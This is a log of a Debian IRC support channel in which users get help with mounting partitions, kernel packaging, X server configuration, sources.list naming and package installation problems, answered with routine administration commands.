| 22:12.08 | ke6isf | YogSothoth4: Figure this, we don't really discourage compiling, we encourage using the trees. If you want to use a source ball, that's fine. |
| 22:12.12 | roaet | i have a fat32 partition with all my music and stuff on it.. if i don't sudo before i copy something there, i can't write to it.. |
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| 22:12.17 | roaet | how can I make it so I don't have to do that. |
| 22:12.31 | ke6isf | sundancezephyr: Easiest way is to mkfs.ext3 on the new device and copy the data over. |
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| 22:13.24 | sundancezephyr | ke6isf, well, I'm off to do that then... |
| 22:13.28 | ke6isf | juice`: ...I'm stuck. |
| 22:13.29 | sundancezephyr | thanks |
| 22:13.34 | ke6isf | sundancezephyr: No problem. Have fun. |
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| 22:14.20 | YogSothoth4 | ke6isf, but through apt-get I only get postgresql-7.4.7 when I can compile postgresql-8.1.3! |
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| 22:14.32 | LSorensen | roaet: add an fmask/dmask to the mount options to make it writeable by a group or all users. |
| 22:14.41 | hatake_kakashi | ok.. heres an interesting question, where is a list of hardwares that are _not_ supported by debian sarge (latest)? |
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| 22:14.44 | LSorensen | roaet: or a uid to make it owned by your normal user |
| 22:14.52 | dvm1981 | roaet: /dev/hda8 /mnt/winshare vfat noauto,user,exec,rw 0 0 |
| 22:15.00 | LSorensen | hatake_kakashi: that would be a very long list and very hard to keep accurate |
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| 22:15.09 | unstable | hatake_kakashi: yea, there is no list |
| 22:15.13 | hatake_kakashi | LSorensen: hm :/ |
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| 22:15.18 | drasko | hi all. I am about to recompile kernel. I can see there is a package kernel-patch-debian-2.6.8. How and when this package shoul be used? |
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| 22:15.48 | LSorensen | drasko: it is mainly used along with kernel-tree and kernel-source to generate an exact version of the debian sources |
| 22:15.48 | hatake_kakashi | LSorensen and unstable: I was wondering if I get a SATA mobo, etc, will it be supported? I assume yes, but then again |
| 22:16.01 | LSorensen | hatake_kakashi: depends on chipset |
| 22:16.01 | FromTO | I have a two routers one wireless and one that has a print server on it. Does anyone know if I can connect the router with the print server to one of the ethernet outlet on the wireless card so I can set up a wireless print server |
| 22:16.04 | moke1809 | drasko: if you want to compile a debian kernel with all the patches applied to vanilla source |
| 22:16.19 | hatake_kakashi | LSorensen: yeah I had a feeling of that as well, but thanks anyway, will look into it :) |
| 22:16.52 | moke1809 | drasko:kernel-source package contains vanilla kernel so you need to patch it to have a debian stock kernel |
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| 22:17.09 | chealer9 | moke1809: you should check the package descriptions |
| 22:17.17 | moke1809 | ? |
| 22:17.52 | drasko | moke1809, LSorensen, I never recompiled kernel "Debian way", making package out of source, so I am saking how to apply these patches? I will apt-get this patches package and then what? |
| 22:17.58 | chealer9 | moke1809: -source packages don't contain the vanilla source |
| 22:17.58 | LSorensen | moke1809: actually kernel-source contains a patched source, you need kernel-patches to remove patch levels. |
| 22:18.10 | wols | hatake_kakashi: depends on the sata mobo and the debian version |
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| 22:18.28 | moke1809 | moke1809: oooh i never used the debian stock for recomplile |
| 22:18.31 | roaet | thank you all |
| 22:18.32 | roaet | very much |
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| 22:18.42 | moke1809 | sorry for the wrong post |
| 22:19.05 | drasko | LSorensen, so, this pathes package removes patches? That is not what I want... |
| 22:19.16 | LSorensen | drasko: that is what kernel-tree uses it for. |
| 22:19.19 | yggrdasil | im typing it but its erroring outso is it mount -t smbfs -o username=yggdrasil //olya/storeage /mnt/storeage uname=000 |
| 22:19.21 | moke1809 | drasko: instal kernel-package and read the docu |
| 22:19.35 | LSorensen | drasko: kernel-source contains the fully patched, but kernel-tree can remove patches to get a previous debian kernel version |
| 22:20.07 | drasko | LSorensen, moke1809, thanks! |
| 22:20.34 | wols | yggrdasil: the umask is part of the options like username |
| 22:20.35 | moke1809 | sorry for the wrong post, just checked, and you're welcome |
| 22:20.58 | yosef_ | i recently upgraded to firefox 1.5, and it keeps crashing my xserver when i look at new mail in gmail |
| 22:21.16 | LSorensen | yosef_: running kde? |
| 22:21.18 | unstable | yosef_: Why did you upgrade to 1.5, what did it give you that you needed? |
| 22:21.20 | wols | yosef_: debian version of ffox or from somewhere else? |
| 22:21.22 | yosef_ | i have a dell optiplex with an i810 video chipset |
| 22:21.33 | yosef_ | debian version |
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| 22:21.50 | wols | yosef_: from debian.org? official repository? |
| 22:21.57 | yosef_ | i do apt-get update and upgrade |
| 22:22.11 | unstable | yosef_: What version of debian are you using? |
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| 22:23.12 | e-doll | can someone tell me how to download xorg instead of xfree86 and everything i need to get my display going. I install xfree86 |
| 22:23.18 | yosef_ | how do i tell? i installed a knoppix cd once, and have been doing updates and upgrades since |
| 22:23.33 | wols | yosef_: then go to #knoppix. what you run is NOT debian |
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| 22:23.48 | wols | e-doll: what version of debian |
| 22:23.58 | yosef_ | thanks |
| 22:24.02 | LSorensen | yosef_: well on sid firefox 1.5 and kde crashes on gmail.com, while any other window manager is fine |
| 22:24.04 | e-doll | 3.1 |
| 22:24.07 | e-doll | debian |
| 22:24.19 | wols | e-doll: there is no xorg for sarge |
| 22:24.23 | ke6isf | wols: no |
| 22:24.26 | LSorensen | wols: backports.org has it |
| 22:24.34 | ke6isf | wols: There is a way to do it, but I'm lost without dpkg. =^^= |
| 22:24.36 | wols | LSorensen: but that is NOT debian either |
| 22:24.50 | e-doll | i have xfree86 and no display |
| 22:24.56 | LSorensen | wols: perhaps, but a lot better than doing things from source |
| 22:24.58 | wols | if one wants xorg, one should upgrade to testing an dbe done with it |
| 22:25.05 | dvm1981 | ftsac: I have installed that 'scim' but i also not see how to get 'scim-m17n' working |
| 22:25.06 | ke6isf | e-doll: Try 'dpkg-reconfigure xserver-xfree86'. |
| 22:25.10 | moke1809 | wols: i agree |
| 22:25.13 | wols | LSorensen: backports cause headaches in the future. always do |
| 22:25.20 | LSorensen | wols: so to solve one problem you would create hundreds? |
| 22:25.24 | e-doll | i did that ke6isf and still no display |
| 22:25.26 | moke1809 | wols: i used the xorg from backports |
| 22:25.31 | ke6isf | e-doll: Did you adjust accordingly? |
| 22:25.39 | ke6isf | e-doll: What are the symptoms? |
| 22:25.42 | wols | LSorensen: that xorg backport will create hundreds when you upgrade to etch and want to isntall a real xrog |
| 22:25.46 | moke1809 | wols: than dist-upgrdae to etch |
| 22:25.51 | wols | testing doesn't create many if at all problems |
| 22:25.53 | e-doll | the symptoms is this black screen with gray letters |
| 22:26.05 | dvm1981 | ftsac: You want probably that graphical interface like showed on the site? |
| 22:26.06 | ftsac | dvm1981, /usr/share/doc/scim/README.Debian.gz |
| 22:26.09 | LSorensen | wols: generally backports.org do not cause upgrade problems. at least usually no more than running testing can have |
| 22:26.15 | moke1809 | i had to compleaty remove x after upgrade to etvh |
| 22:26.18 | ke6isf | e-doll: That's very vague. Are you saying that X doesn't actually start? |
| 22:26.26 | moke1809 | backports messed up my x |
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| 22:26.33 | e-doll | yes, it doesn't start at all |
| 22:26.45 | ftsac | dvm1981, it used to work when I had sarge |
| 22:26.47 | e-doll | i installed x-window-system-core too |
| 22:26.50 | ke6isf | e-doll: Then something is set wrong. |
| 22:26.58 | moke1809 | e-doll: startx, wghat does that give? |
| 22:27.02 | LSorensen | wols: anything other than upgrade from one stable release to the next stable release is likely to have issues at times. even an upgrade to a new stable sometimes has glitches. |
| 22:27.03 | ke6isf | e-doll: Rerun the dpkg-reconf command I gave you, adjust accordingly. |
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| 22:27.05 | ftsac | but after upgrade to testing then it gone |
| 22:27.17 | wols | moke1809: just like it messed up my postfix and my module-init-tools. I needed to force dpkg in a few tricky ways o get official module-init-tools back. and crap my postfix install |
| 22:27.22 | e-doll | it scrolls that it can not connect to the xserver |
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| 22:27.35 | e-doll | ok |
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| 22:27.41 | wols | LSorensen: testing rarely glitches. only downside is the security thing, ntoghint else |
| 22:27.41 | ke6isf | *sigh* |
| 22:27.45 | Ozarka | How would I mount an NTFS filesystem? I don't need R/W access but it would be nice. |
| 22:27.48 | moke1809 | wols: i had to reinstall almost everything |
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| 22:28.02 | wols | Ozarka: modprobe ntfs, then just mount it |
| 22:28.21 | ftsac | dvm1981, one more links |
| 22:28.24 | ftsac | http://www.mrbass.org/linux/ubuntu/scim/ |
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| 22:28.50 | gpm | hey, how do i share my cups printer with another box (it will be using cups too) on my router network? |
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| 22:29.09 | LSorensen | gpm: the cupsd.conf has an option for browsing permissions. |
| 22:29.18 | Ozarka | wols: I did modprobe ntfs, and nothing happened (good thing?) However, NTFS still does not show up under mount |
| 22:29.37 | LSorensen | Ozarka: step two was 'mount it' |
| 22:29.38 | wols | Ozarka: yes good. you need to learn how to mount things |
| 22:29.45 | wols | "mount" just shows stuff that is already mounted |
| 22:30.01 | Ozarka | oops, thanks |
| 22:30.07 | Ozarka | Still pretty new to linux |
| 22:30.20 | dbe | wols, "one should upgrade to testing an dbe done with it", dbe=? |
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| 22:30.42 | LSorensen | dbe: probably 'be' |
| 22:30.54 | wols | Ozarka: http://dpkg.vireo.org/search.php?q=read-ntfs&term=key |
| 22:30.59 | wols | dbe: and be :P |
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| 22:32.53 | Ozarka | wols: Is there a way I can get a list of mountable partitions for hdd1? |
| 22:33.25 | blondie | hdd1 is a partition not a disk |
| 22:33.31 | wols | hdd1 already is a partition |
| 22:33.32 | Ozarka | Oh |
| 22:33.37 | Ozarka | I see |
| 22:33.39 | wols | fdisk -l /dev/hdd does what you want |
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| 22:33.59 | ndee_ | is there a program like undelete for linux? |
| 22:34.07 | wols | ndee_: not really |
| 22:34.17 | wols | there are some, but they all don't work well/at all |
| 22:34.17 | Ozarka | Thanks wols |
| 22:34.29 | ndee_ | so it's not possible to recover some data? |
| 22:35.34 | Keefe | what is the ~/.local directory used by? |
| 22:35.44 | dbe | wols, yes but one should be more careful when typing ;). thx for the policy |
| 22:36.17 | wols | dbe: we're on irc here. we are never careful |
| 22:36.25 | wols | ndee_: http://www.stud.tu-ilmenau.de/~mojo/undelete.html |
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| 22:36.44 | dbe | wols, thats true, but it invented a policy for me |
| 22:36.50 | Red_Cloud | I have upgraded my distro from sarge to etch. I have a package that will not install and it is pretty important for kdeadmin. The package is knetworkconf. It is marked for install but runs into problems while trying to install. And I cannot figure out how to get this package to finish install. Help? |
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| 22:38.55 | Daedalus_ | define "won't install" |
| 22:38.59 | chealer9 | Red_Cloud: is akregator-i18n installed? |
| 22:39.10 | ndee_ | wols: I'm using ext3, just read something about it. Oh well. |
| 22:39.26 | ndee_ | good night |
| 22:39.38 | chealer9 | Red_Cloud: sorry, is gnome-system-tools or system-tools-backends-dev installed? |
| 22:39.47 | tyranix | What's the name of the program that displays the "do you want to install the maintainer's version of this config file"? I always used the text front end and now it suddenly switched to dialog. I'd like to get the plain text version back but I don't know the name of it. |
| 22:39.53 | Red_Cloud | chealer9, I searched for akregator-i18n and could not find it |
| 22:40.09 | abrotman | tyranix: debconf ? |
| 22:40.54 | curt | bbq chicken and smashed potatoes |
| 22:41.04 | tyranix | abrotman: ahh thanks, that was it. Wonder why it switched. |
| 22:41.08 | Red_Cloud | chealer9, yes gnome-system-tools is installed |
| 22:41.26 | abrotman | tyranix: it's sunday |
| 22:41.34 | tyranix | heh |
| 22:41.42 | chealer9 | Red_Cloud: which version of it? |
| 22:42.07 | Red_Cloud | chealer0 1.4.2-1 |
| 22:42.23 | chealer9 | Red_Cloud: is system-tools-backends-dev installed? |
| 22:42.32 | Red_Cloud | chealer, no |
| 22:42.38 | Red_Cloud | chealer9 no |
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| 22:43.22 | abrotman | !info gnome-system-tools etch |
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| 22:43.27 | chealer9 | Red_Cloud: hum. there shouldn't be a version 1.4.2-1 of gnome-system-tools. anyway, I have to go, see #353321 |
| 22:43.56 | abrotman | Red_Cloud: can you paste your sources in #flood? |
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| 22:44.21 | abrotman | is dpkg dead again> |
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| 22:44.29 | wols | yes |
| 22:45.33 | Red_Cloud | abrotman, do you want me to past my sources.list in #flood? |
| 22:46.19 | abrotman | yes |
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| 22:47.27 | dvm1981 | ftsac: Have you the good 'locale' installed? Im really not far, a bit more and i give up :-/ |
| 22:47.45 | ftsac | dvm1981, yes |
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| 22:48.06 | ftsac | now I dig more to find out what's going on |
| 22:48.22 | dvm1981 | ftsac: So the Japanse language are been supported on you're system? I want really not try that :-/ i not understand that one |
| 22:48.54 | ftsac | :) |
| 22:49.03 | ftsac | dvm1981, sure |
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| 22:49.26 | ftsac | I worked with it |
| 22:49.47 | dvm1981 | ftsac: I trying to use that litte app, but i not understand many things of it :-/ Why im so stupid :-( |
| 22:50.01 | ftsac | dvm1981, no |
| 22:50.17 | ftsac | don't think you know everything :) |
| 22:50.39 | Red_Cloud | abrotman, I have pasted in #flood |
| 22:50.53 | dvm1981 | ftsac: I really not think that! |
| 22:50.59 | ftsac | :) |
| 22:51.25 | ftsac | dvm1981, I could work with it but don't know how it works |
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| 22:51.46 | ftsac | now things happen then I have to find out what wrong |
| 22:51.50 | dvm1981 | ftsac: I can not help you with it :-( |
| 22:52.10 | abrotman | Red_Cloud: no you didn't |
| 22:52.17 | abrotman | Red_Cloud: i'm in #flood .. you're not |
| 22:52.23 | ftsac | dvm1981, you help me a lot with gdm ;) |
| 22:52.45 | dvm1981 | ftsac: That's all a little begin :-) |
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| 22:54.24 | Red_Cloud | abrotman, OK my mistake |
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| 22:54.42 | abrotman | Red_Cloud: any you can't isntal what? |
| 22:54.46 | abrotman | !tell foonbogey about knoppix |
| 22:54.48 | sandman | I was under the impression that mailman was supposed to "Just Work"? |
| 22:54.50 | dvm1981 | Try to ask again about it, or when there are people with knowledges about it. |
| 22:55.20 | abrotman | what is ftsac's problem> |
| 22:55.24 | abrotman | sandman: does for me |
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| 22:55.36 | Red_Cloud | abrotman, cannot install knetworkconf |
| 22:55.38 | marccd | how can I make an inline if/else with a programs return? |
| 22:55.38 | sandman | abrotman: Not here. I had to add stuff to /etc/aliases and the like |
| 22:55.50 | dvm1981 | abrotman: Trying to use 'scim' |
| 22:55.51 | ftsac | abrotman, I stuck with scim and japanese input |
| 22:55.52 | sandman | And I also had to run some commands like newlist mailman, etc, |
| 22:55.53 | abrotman | Red_Cloud: apt-get update;apt-get -u dist-ugprade;apt-get install knetworkconf |
| 22:55.56 | marccd | i.e program && echo "success" ? echo "failure" |
| 22:55.58 | abrotman | sandman: no shit .. that's the way it works |
| 22:56.06 | sandman | And I didn't get the mail from mailman about hte new mailing list |
| 22:56.13 | abrotman | ftsac: hehe .. |
| 22:56.20 | ftsac | ? |
| 22:56.27 | abrotman | sandman: did you run newaliases |
| 22:56.29 | sandman | Yes. |
| 22:56.30 | dvm1981 | abrotman: Not an easy task :-/ |
| 22:56.31 | Red_Cloud | abrotman, I have tried all of those commands numerous times |
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| 22:56.32 | sandman | Afterwards |
| 22:56.33 | ozrg | <PROTECTED> |
| 22:56.42 | ftsac | too little info on it :( |
| 22:56.49 | Red_Cloud | I have tried Kpackage and Synaptic |
| 22:56.51 | abrotman | Red_Cloud: and what happens when you try to install knetworkconf |
| 22:57.08 | abrotman | Red_Cloud: please just try apt-get |
| 22:57.30 | abrotman | ozrg: #ubuntu please |
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| 22:59.19 | drasko | hi all. I am recompiling the kernel. I have seen this: make-kpkg --initrd --revision=2:hostname.1.0 kernel_image, but I guee this only makes kernel images. How to make modules after that? How to pack yhem and install them? |
| 22:59.44 | dvm1981 | ozrg: A little tip -> Ubuntu, but try to unplugg all the usb devices, but ask on #ubuntu |
| 22:59.54 | math1236 | how would I add another RSA host key for ssh? my box has 2 distros on it, and I switch between them often, and want the ssh'ing to be secure, but not annoying |
| 23:00.04 | abrotman | !tell Red_Cloud about overwrite |
| 23:00.23 | drasko | Also, do I have to change the grub.conf, or will it be automatically changed? |
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| 23:01.48 | mindframe | is sarge considered testing? |
| 23:01.53 | dvm1981 | not |
| 23:01.57 | dvm1981 | Stable |
| 23:02.04 | dvm1981 | Testing is etch |
| 23:02.08 | mindframe | ah |
| 23:02.12 | dvm1981 | sid alway unstable |
| 23:02.21 | dvm1981 | s/alway/always |
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| 23:02.29 | mindframe | so shoudl i use etch or testing when editing my sources.list to update? |
| 23:02.40 | drasko | Anyone? |
| 23:02.42 | abrotman | probably etch |
| 23:03.39 | quad3d | is there a really particular advantage of creating users to default debian group "users" (gid 100) instead of assigning it its own group? |
| 23:03.40 | dvm1981 | testing is ok. not? |
| 23:03.50 | streuner | drasko: /msg dpkg kp |
| 23:04.04 | Ronin | dvm1981: it has its days |
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| 23:04.45 | streuner | drasko: read newbiedoc.sf.net - Section KERNEL-HOWTO |
| 23:04.47 | Unity | anyone can recommend a good video editing softawre like adobe premiere? |
| 23:04.49 | dvm1981 | Ronin: So i need also to change my source list 'testing' to 'etch'? |
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| 23:05.00 | pontusen | gnite folks |
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| 23:05.14 | Azar | dvm1981: etch is testing you can use either one |
| 23:05.19 | streuner | dpkg, hi |
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| 23:05.46 | dvm1981 | Azar: Thanks, i was a bit confused ;-) |
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| 23:06.26 | Azar | dvm1981: I am pro using the names because when etch goes stable and you have "testing" in your sources you will wind up with something other than etch |
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| 23:08.11 | Azar | likewise, I am using Sarge if my sources list it as "stable" when etch comes out and I will not want it right away, I might get in trouble |
| 23:08.21 | dvm1981 | Azar: So i'm wait then when i'm going in the troubles. And hope i learn from it :-0 |
| 23:08.56 | Azar | dvm1981: you did not understand: you can use either but I guess using "etch" instead of "testing" is better << just a suggestion |
| 23:09.48 | Azar | url/debian/ etch main non-free contrib |
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| 23:10.28 | YogSothoth2 | I use a rc.boot file where I put my commands to be launched at boot. But for some I need to do it under another user, how can? I mean, how can I send just one command being another user, like sudo but not with root user? |
| 23:10.33 | dvm1981 | Azar: Yep, i had not been understand, i use many times an translator here, because my english, and my errno's... :-/ |
| 23:10.55 | Ronin | dvm1981: theres likely a debian channel in your native language |
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| 23:12.00 | dvm1981 | Robin: The Dutch one, there are nobody and by the #debian-fr i'm banned because these people from France are rasict to people of Belguim that also speak french |
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| 23:12.18 | ozrg | can someone tell me why do I get a message like ' search usb hdd devices' when I try to install it?? |
| 23:12.52 | dvm1981 | Ronin: And like i not more like these stupid people that have bad thing in his head |
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| 23:13.54 | Azar | ozrg are you installing it the debian way or just download/install from some website? |
| 23:14.16 | Azar | ...err ouch whatever you try installing |
| 23:14.52 | Stargazers | Hi. In Debian Linux I have this kind of problem: It starts XDM and when I try to log in (correct username and password) it just comes again to login screen. In text mode I can log and it works, but in graphical mode can't, always login sreen becomes again? |
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| 23:15.37 | dvm1981 | s/rasict/racist |
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| 23:16.44 | gpm | hi all. i set up my /etc/network/interfaces to be static with ip address 192.168.1.100, however when i reboot and ifconfig, i see this: inet addr:169.254.68.135...any explanation? |
| 23:16.55 | Azar | Stargazers: did you just installed Debian? |
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| 23:17.10 | dvm1981 | gpm: Post it in pastebin or so |
| 23:17.23 | Azar | gpm that ip number looks like a dhcp served |
| 23:17.47 | Stargazers | Azar: Nope. Over year ago. But I didn't use graphical mode in local computer before, only couple of times. Settings has gone, and I have no idea in where I can change those :/ |
| 23:18.08 | stew | gpm: 169.254.*.* is a microsoft autoconfiguration address. when a windows machine can't find a dhcp offer it uses an address from that /16 |
| 23:18.14 | Stargazers | I normally use X over VNC Server, but now I need to use it on local host also. |
| 23:18.19 | Azar | Stargazers: are you using Woody (3.0) or Sarge (3.1)? also, what kernel? |
| 23:18.35 | Stargazers | Sarge, and kernel is... how I saw that, never remember...? |
| 23:18.37 | gpm | stew: i don't have any windows boxes connected to this router though... |
| 23:18.44 | Azar | Stargazers: do uname -a |
| 23:18.58 | Stargazers | 2.4.27-2-586tsc |
| 23:19.00 | jml6 | i think dpkg is giving me the cold shoulder |
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| 23:19.12 | gpm | everyone, here is my /etc/network/interfaces: http://channels.debian.net/paste/1936 |
| 23:19.32 | Azar | Stargazers: ok you seem not to have installed or configured X yet, look in /etc/X11 to see if you have any XF86Conf.. |
| 23:19.45 | stew | gpm: hmm, looking at "whois 169.254.1.1" i guess its not microsift specific |
| 23:20.39 | fhffhqvb | 169.254 is reserved space |
| 23:20.42 | dvm1981 | gpm: Looks good |
| 23:20.44 | Stargazers | I have XF86Config-4 |
| 23:20.53 | gpm | hm |
| 23:20.55 | Stargazers | In that /etc/X11/ dir |
| 23:21.01 | gpm | i can post some syslog if you guys think it'll help |
| 23:21.08 | fhffhqvb | 169.254.*.* is the IP you get when your cablemodem can't get a DHCP IP from your ISP. |
| 23:21.10 | Azar | Stargazers: that is good, what video driver you have? I mean type? lspci |
| 23:21.18 | YogSothoth | How can I send just one command being another user, like sudo but not with root user? |
| 23:21.26 | Stargazers | S3 |
| 23:21.34 | Stargazers | Azar: X works fine I mean |
| 23:21.38 | Stargazers | That is not the problem? |
| 23:21.50 | Stargazers | But it won't start the Graphical desktop? |
| 23:21.51 | Azar | so your problem is that the kde or gnome will not log you in? |
| 23:22.00 | gpm | fhffhqvb: why would that happen? |
| 23:22.09 | Stargazers | Yep, I use only Fluxbox, but same idea |
| 23:22.15 | Stargazers | It won't start after login |
| 23:22.19 | Stargazers | Login screen comes again |
| 23:22.24 | Azar | how about at startx? |
| 23:22.33 | Azar | if you are root it might block you from going X |
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| 23:22.42 | dvm1981 | gpm: Because you try to setup an fix one. |
| 23:22.53 | Azar | you can login in X only as user |
| 23:22.58 | Stargazers | No I am not root |
| 23:23.00 | Stargazers | Let me try |
| 23:23.03 | dvm1981 | gpm: So that card are connected to you're ISP? |
| 23:23.12 | gpm | dvm1981: but this box is behind a router...not directly connected to the modem |
| 23:23.13 | gpm | no |
| 23:23.14 | gpm | router |
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| 23:23.35 | dvm1981 | gpm: And have restart the network? |
| 23:23.36 | Stargazers | Uh, it says that I have server running on screen :0 already (yep, that graphical log in screen) and I can't start X again with startx |
| 23:23.42 | Azar | Stargazers: you can also use the F7 and up keys |
| 23:23.49 | gpm | dvm1981: you mean restarted the modem and router? |
| 23:23.51 | gpm | not yet |
| 23:24.05 | dvm1981 | gpm: No, the network config on you're local computer. |
| 23:24.18 | Azar | Stargazers: I had same issue and you know, I got pissed off and removed xdm now I go X by typing startx |
| 23:24.19 | dvm1981 | gpm: '/etc/init.d/networking restart' |
| 23:24.20 | gpm | dvm1981: yes, i restarted it |
| 23:24.38 | Stargazers | Azar: Ok, I think I'll do same 'cause I really don't need xdm :) |
| 23:24.42 | Azar | Stargazers: you could remove xdm then reboot |
| 23:24.44 | gpm | dvm1981: done that already |
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| 23:24.48 | Stargazers | But I just thought if there is anything better way :) |
| 23:25.00 | dvm1981 | gpm: Strange, on the first aspect. |
| 23:25.14 | Azar | Stargazers: for me is annoying to boot with X login, I like to see stuff when system is loading |
| 23:25.35 | Azar | ..like warning for missing or unloaded modules n such |
| 23:25.44 | YogSothoth | I try to start MySQL with: /opt/mysql/bin/mysqld_safe --user=mysql --basedir=/opt/mysql. But then I've got this error: The file /usr/local/mysql/bin/mysqld doesn't exist or is not executable |
| 23:25.45 | YogSothoth | <PROTECTED> |
| 23:25.56 | dvm1981 | gpm: I not know more suggestion :-( |
| 23:25.57 | Stargazers | Yep. I have that old machine that I use only in IRC etc, but sometimes I need X also :) |
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| 23:26.31 | Azar | Stargazers: it would be nice if you could go to a higher kernel but if it works ok with what you got ( 2.4.27) stay put |
| 23:26.57 | Azar | Stargazers: apt-get install nethack-console :) |
| 23:27.17 | Stargazers | NetHack is little too hard for me :D |
| 23:27.33 | Stargazers | Azar: By the way, I need no boot, just boot X (Ctrl + Alt + Backspace) and it worked fine :) |
| 23:27.37 | Stargazers | Thank you |
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| 23:27.49 | dvm1981 | gpm: That IP, is not already in use by another comp? |
| 23:28.27 | Azar | Stargazers: http://www.nethack.org/v343/Guidebook.html#_TOCentry_1 |
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| 23:28.57 | Stargazers | Azar: Have to look some day :) I have installed NetHack, but never understood it :P |
| 23:29.10 | Azar | Stargazers: is easy and fun |
| 23:29.20 | dvm1981 | gpm: You're network on that computer work been? |
| 23:29.37 | King_Andy | i have a question... I installed KDE, but i dont know where to go from here |
| 23:29.37 | Stargazers | Ok :) |
| 23:29.41 | King_Andy | i reas to type in 'startx', but that doesnt work |
| 23:29.44 | King_Andy | read* |
| 23:30.40 | dvm1981 | King_Andy: 'apt-get install xserver-common xserver-xfree86' |
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| 23:30.58 | King_Andy | okay, i am rebooting and ill try that in a minitue or two |
| 23:31.10 | dvm1981 | King_Andy: Supposing ... |
| 23:31.30 | dvm1981 | King_Andy: Also you need 'xfonts-base' |
| 23:32.08 | King_Andy | do i do that as root? |
| 23:32.24 | dvm1981 | King_Andy: Without, i would not |
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| 23:34.45 | King_Andy | well i get the error msg 'couldnt find the package' for the xserver-common-xserver-xfree86 |
| 23:35.05 | dvm1981 | King_Andy: xserver-common xserver-xfree86 |
| 23:35.11 | King_Andy | ahhh |
| 23:35.11 | King_Andy | lol |
| 23:35.19 | Stargazers | U:) |
| 23:35.22 | King_Andy | now its working :-p |
| 23:35.28 | Stargazers | I was just typing that also :D |
| 23:35.43 | dvm1981 | King_Andy: It's late here ;-) |
| 23:35.48 | mindframe | what is atd? |
| 23:35.54 | Stargazers | Uh, S3 with 2Mb memory, what is the maximum resolution? 1024x758 or 800x600? |
| 23:36.03 | Stargazers | Timing daemon? |
| 23:36.14 | Stargazers | Scheduling I think |
| 23:36.24 | jml6 | is anyone else having trouble with dpkg, i am not getting any responses... |
| 23:36.33 | Stargazers | jml6: How? |
| 23:36.33 | dvm1981 | mindframe: run jobs queued for later execution |
| 23:37.19 | jml6 | stargazers, i am not getting any response to msg |
| 23:37.19 | dvm1981 | mindframe: A tip 'apropos atd' |
| 23:37.21 | streuner | jml6: use apt instead |
| 23:37.25 | dvm1981 | mindframe: Then 'man atd' |
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| 23:37.46 | Stargazers | What are you trying to do at least? Install a package which you have on your hard disk or try to find it on net? |
| 23:38.02 | jml6 | thanks streuner |
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| 23:38.41 | Azar | Stargazers: you will be first prompted to choose the best resolution ( I use 1024x768) then you will be asked if you want to use also an additional resolution ( I use 800x600) |
| 23:39.00 | Stargazers | Azar: Uh, I had that config file already so... :) |
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| 23:39.16 | King_Andy | dvm, i get a fatal error when i type startx |
| 23:39.21 | King_Andy | am i missing something? |
| 23:39.25 | Azar | Stargazers: do not edit the config file, allways use dpkg-reconfigure xserver-xfree86 |
| 23:39.35 | Stargazers | Azar: Oh, have to try :) |
| 23:39.56 | Stargazers | It might be better idea |
| 23:40.27 | dvm1981 | King_Andy: look at the '/var/log/XFree86.0.log' or post is some else like on pastebin |
| 23:40.45 | Azar | Stargazers: you need to know exactly what is the module for your video |
| 23:41.00 | Stargazers | S3 Virge |
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| 23:41.12 | Stargazers | With 2MB <3 |
| 23:41.14 | Stargazers | :D |
| 23:41.16 | King_Andy | i dont know how to do that first part dvm, i am 90% new to linux, and 100% new to debian and kde |
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| 23:41.19 | fhffhqvb | :-| |
| 23:41.22 | chealer9 | Red_Cloud: so, did you solve your problem? |
| 23:41.39 | dvm1981 | King_Andy: Install 'xclip' |
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| 23:42.03 | dvm1981 | King_Andy: Then 'xclip /var/log/XFree86.0.log' |
| 23:42.12 | Stargazers | fhffhqvb: :D |
| 23:42.20 | King_Andy | apt-get install xclip? i got 2 error msgs on that |
| 23:42.25 | dvm1981 | That is the log file, where all things are writed to |
| 23:42.33 | dvm1981 | King_Andy: ^^ |
| 23:42.50 | dvm1981 | King_Andy: Then paste it on pastebin |
| 23:42.58 | dvm1981 | !tell King_Andy about pastebin |
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| 23:43.13 | dvm1981 | dpkg are on holliday, shit |
| 23:43.21 | threat | hmmm, how here has setup a SCSI tape drive before? :) |
| 23:43.23 | fhffhqvb | hm? |
| 23:43.25 | fhffhqvb | !test |
| 23:43.30 | StringOfLetters | King_Andy - just 'less /var/log/XFree86.0.log' |
| 23:43.33 | King_Andy | i got xclip in |
| 23:43.43 | fhffhqvb | abrotman: did you kill dpkg again? |
| 23:43.43 | King_Andy | i didnt realise i was on my name, not root |
| 23:43.53 | abrotman | wasn't me! |
| 23:43.56 | dvm1981 | King_Andy: http://pastebin.ca/ |
| 23:44.04 | fhffhqvb | sure. |
| 23:44.53 | dvm1981 | StringOfLetters: He is a new user, i try to help him in the simplest maner. |
| 23:45.11 | dvm1981 | s/maner/manner |
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| 23:46.10 | unstable | J/j 2 |
| 23:46.19 | dvm1981 | King_Andy: When you are ready to paste, an on the site there, press with the middle mouse button to paste the date you're copied with xclip |
| 23:46.20 | tktktk | how can I pull just g++-4.0 w/o going entirely away from sarge? |
| 23:46.24 | tktktk | (I want to udpate as little as possible) |
| 23:46.29 | Red_Cloud | chealer9 problem solved |
| 23:46.31 | dvm1981 | s/date/date |
| 23:46.34 | dvm1981 | shit |
| 23:46.39 | dvm1981 | s/date/data |
| 23:46.44 | chealer9 | Red_Cloud: good. how did you do? |
| 23:46.45 | King_Andy | before i go to pastebin, i got xclip in. then i typed the 'xclip /var/log/xfree86.0.log. but it didnt work |
| 23:46.52 | Azar | no such video driver found for S3 Stargazer again what is your video? |
| 23:47.40 | dlynch | can someone help me with exim4, my emails are received as username@ipaddress instead of username@domainname |
| 23:47.43 | dvm1981 | King_Andy: Yes, he copie the content of that file in the buffer, nothing is going wrong, if hi say nothings, all are right! |
| 23:47.57 | Stargazers | Azar: S3 Virge is my PCI card? And it works and auto detect detects it right? |
| 23:48.07 | dvm1981 | King_Andy: Test it in an test file if you would. |
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| 23:48.11 | badgers | Okay, I'm here. (courtesy of fhffhqvb) |
| 23:48.15 | fhffhqvb | !blame abrotman |
| 23:48.21 | Stargazers | Badgerbadgerbadger! |
| 23:48.25 | Stargazers | \o |
| 23:48.32 | Stargazers | Excellent flash-animation :D |
| 23:48.41 | Red_Cloud | chealer9 went to /var/cache/apt/archives/ and then dpkg -i --force-overwrite knetworkconf_4%3a3.5.1-1_i386.deb |
| 23:48.42 | abrotman | fhffhqvb: really .. not me |
| 23:48.46 | fhffhqvb | :-| |
| 23:48.46 | abrotman | badgers: wb |
| 23:48.47 | badgers | thanks, abrotman. It's good to be back. |
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| 23:48.59 | chealer9 | Red_Cloud: hehe, I see |
| 23:49.05 | Red_Cloud | chealer, I had been failing to try the overwrite. |
